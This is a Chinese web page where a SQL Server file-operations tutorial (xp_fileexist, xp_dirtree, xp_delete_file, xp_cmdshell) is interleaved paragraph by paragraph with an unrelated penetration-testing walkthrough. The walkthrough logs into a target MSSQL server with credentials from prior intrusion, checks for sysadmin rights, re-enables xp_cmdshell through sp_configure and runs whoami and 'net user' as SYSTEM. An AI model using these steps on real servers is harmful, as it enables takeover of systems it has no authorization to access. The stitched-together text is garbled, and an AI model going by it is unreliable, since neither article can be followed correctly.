图片 8

SQL Server 文件操作

在master数据库中,SQL
Server提供系统扩展的存储过程,其中有一些存储过程的命名以xp_开头,用于处理操作系统的文件。

前言:

一,判断文件是否存在

致力于复现最实用的漏洞利用过程。

存储过程sys.xp_fileexist
用于判断文件是否存在,参数是文件(file)的路径或目录的路径:

本文将带领大家学习以下内容:

exec master.sys.xp_fileexist 'D:\test.txt'
  • 学习使用`xp_cmdshell`扩展存储过程
  • 学习调用`wscript.shell`
  • 学习MSSQL写文件
  • 学习沙盘模式提权
  • 学习注册表映像劫持提

    part1
    使用`xp_cmdshell`扩展存储过程

该存储过程返回的结果集有一行数据,三个字段,如下图:

**步骤1 连接MSSQL服务**  

首先打开SQL查询分析器如下填写相关参数(此处数据库相关信息假设是我们通过前期[渗透测试](http://bbs.ichunqiu.com/thread-17737-1-1.html?from=bkyl)得到。  
相关参数填写完毕之后点击\`确定\`进入该服务器MSSQL查询分析页面。  
登入对方的MSSQL服务之后,我们看到SQL查询分析器的界面如下,请看图示,了解查询分析器的功能页:  

![](https://images2017.cnblogs.com/blog/990426/201707/990426-20170728115101696-330111593.png)   

如果没有出现左侧的对象浏览器,请点击如上图示的右上角红框部分来开启对象浏览器。  

查询框用于输入将要执行查询的SQL语句。  

比如,我们在查询框输入一下语句来查看数据库信息和系统版本:  

图片 1

select @@version

二,创建子目录

MSSQL语句后面可以跟`;`结束查询或连接多句查询。后面跟`–`可以达到注释以后多余的语句的目的。

存储过程 sys.xp_create_subdir 用于创建子目录,参数是子目录的路径:

默认情况下我们查看到的结果并不完整,是表格查看方式,为了更明显的查看到SQL查询返回,我们点击工具栏的`查询`->`文本显示结果`,然后再执行SQL语句:

exec master.sys.xp_create_subdir 'D:\test'

图片 2

执行存储过程,系统返回消息:Command(s) completed
successfully,说明子目录创建成功。

此时可以看到完整的查询结果为:

三,查看子目录结构

Microsoft SQL Server 2005 – 9.00.1399.06 (Intel X86) class=”Apple-converted-space”> 
        Oct 14 2005 00:33:37 
        Copyright (c) 1988-2005 Microsoft Corporation
        Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack
2)
        
(所影响的行数为 1 行)

存储过程sys.xp_dirtree 用于显示当前目录的子目录,该存储过程有三个参数:

MSSQL版本:`Microsoft SQL Server 2005`

  • directory:第一个参数是要查询的目录;
  • depth
    :第二个参数是要显示的子目录的深度,默认值是0,表示显示所有的子目录;
  • file
    :第三个参数是bool类型,指定是否显示子目录中的文件(file),默认值是0,表示不显示任何文件,只显示子目录(directory);

    exec master.sys.xp_dirtree ‘D:\data’

服务器版本:`Windows NT 5.2(windows2003)`

该存储过程返回的字段有子目录名称和相对深度,返回的结果中并没有显示子目录的父子关系:

步骤2
验证权限并尝试执行

 图片 3

我们使用一下SQL语句来检测对方的MSSQL服务是否为`SA`权限(`sa`权限的MSSQL用户一般来说对应的是系统的`system`权限):

四,删除文件

select IS_SRVROLEMEMBER(‘sysadmin’)

存储过程 sys.xp_delete_file 用于删除文件,该存储过程有5个参数:

如果查询结果返回`1`则说明是`SA`权限,很幸运,我们的目标机的`MSSQL`账户对应的是`SA`
权限。

  • 第一个参数是文件类型(File
    Type),有效值是0和1,0是指备份文件,1是指报表文件;
  • 第二个参数是目录路径(Folder Path),
    目录中的文件会被删除,目录路径必须以“\”结尾;
  • 第三个参数是文件的扩展名(File Extension),常用的扩展名是’BAK’
    或’TRN’;
  • 第四个参数是Date,早于该日期创建的文件将会被删除;
  • 第五个参数是子目录(Subfolder),bool类型,0是指忽略子目录,1是指将会删除子目录中的文件;

使用以下SQL语句判断目标机的MSSQL服务是否存在`xp_cmdshell`扩展存储过程:

该存储过程不会删除任意类型的文件,系统限制它只能删除特定类型(备份文件和报表文件)的文件。

select count(*) from master.dbo.sysobjects where xtype=’x’ and
name=’xp_cmdshell’;

declare @Date datetime = dateadd(day,-30,getdate())
exec master.sys.xp_delete_file 0,'D:\test\','bak',@Date,0

只要返回结果不是`0`就说明存在`xp_cmdshell`扩展存储过程,启用没启用我们稍后再作判断:

五,查看磁盘驱动的空闲空间

图片 4 

存储过程 sys.xp_fixeddrives用于查看磁盘驱动器剩余(free)的空间

如上,查询返回`1`,即是存在`xp_cmdshell`扩展存储过程,那么我们尝试执行以下SQL语句使用`xp_cmdshell`扩展存储过程来执行系统命令`whoami`(查看当前系统权限):

exec sys.xp_fixeddrives

Exec master..xp_cmdshell ‘whoami’;

图片 5

图片 6 

六,执行DOS命令操作文件

命令并没有执行成功,得到了如下错误信息。

存储过程sys.xp_cmdshell 用于执行DOS命令,该功能对应SQL
Server系统的xp_cmdshell高级选项,默认情况下,该选项是禁用的,执行该存储过程,系统会抛出错误消息:

Error Message:SQL Server 阻止了对组件 ‘xp_cmdshell’ 的
过程’sys.xp_cmdshell’
的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用
sp_configure 启用 ‘xp_cmdshell’。有关启用 ‘xp_cmdshell’
的详细信息,请参阅 SQL Server 联机丛书中的 “外围应用配置器”。

SQL Server blocked access
to procedure ‘sys.xp_cmdshell’ of component ‘xp_cmdshell’ because this
component is turned off as part of the security configuration for this
server. A system administrator can enable the use of ‘xp_cmdshell’ by
using sp_configure. For more information about enabling ‘xp_cmdshell’,
search for ‘xp_cmdshell’ in SQL Server Books Online.

步骤3 修复扩展存储过程
幸运的是我们从报错信息可以得出,`xp_cmdshell`扩展存储过程没被删除,只是禁止访问。于是我们就可以通过SQL语句启用它。
(如果不支持多句执行的话,请单独执行以分号分割的每句):

因此,在执行该存储过程之前,必须启用xp_cmdshell选项,由于启用该选项有潜在的风险,建议用户在执行代码之后,禁用该选项。

EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC
sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;

1,启用/禁用xp_cmdshell选项

图片 7 

xp_cmdshell选项属于系统的高级选项,执行以下代码,允许用户修改高级选项:

以上SQL语句的执行返回如下:

-- To allow advanced options to be changed.  
exec sys.sp_configure 'show advanced options', 1;  
go  
-- To update the currently configured value for advanced options.  
reconfigure;  
go  

配置选项 ‘show advanced options’ 已从 0 更改为 1。请运行 RECONFIGURE
语句进行安装。
配置选项 ‘xp_cmdshell’ 已从 0 更改为 1。请运行 RECONFIGURE
语句进行安装。

使用以下代码启用xp_cmdshell选项:

SQL查询返回如上则说明`xp_cmdshell`扩展存储过程启用成功。

-- To enable the feature.  
exec sys.sp_configure 'xp_cmdshell', 1;  
go  
-- To update the currently configured value for this feature.  
reconfigure;  
go 

启用之后我们再使用以下SQL语句使用`xp_cmdshell`扩展存储过程执行系统命令:

使用以下代码禁用xp_cmdshell选项:

Exec master..xp_cmdshell ‘whoami’;

-- To disable the feature.  
exec sys.sp_configure 'xp_cmdshell', 0;  
go  
-- To update the currently configured value for this feature.  
reconfigure;  
go 

图片 8 

2,常用的DOS命令

语句执行回显如下:

该存储过程使得用户可以通过TSQL命令执行DOS命令,参数是命令字符串:

output                                                                
                                                                    
                                                                    

                                               class=”Apple-converted-space”> 

nt authority\system
NULL

(所影响的行数为 2 行)

exec sys.xp_cmdshell 'command_string' 

如上,我们成功取得回显,得知当前用户权限是`SYSTEM`.

2.1 建立新文件或增加文件内容

当然也可以进行windows的账户操作:

格式:ECHO 文件内容>file_name  

Exec master..xp_cmdshell ‘net user’;

exec master.dbo.xp_cmdshell 'echo abc > D:\share\test.txt'

> `net
user`命令查看系统当前用户情况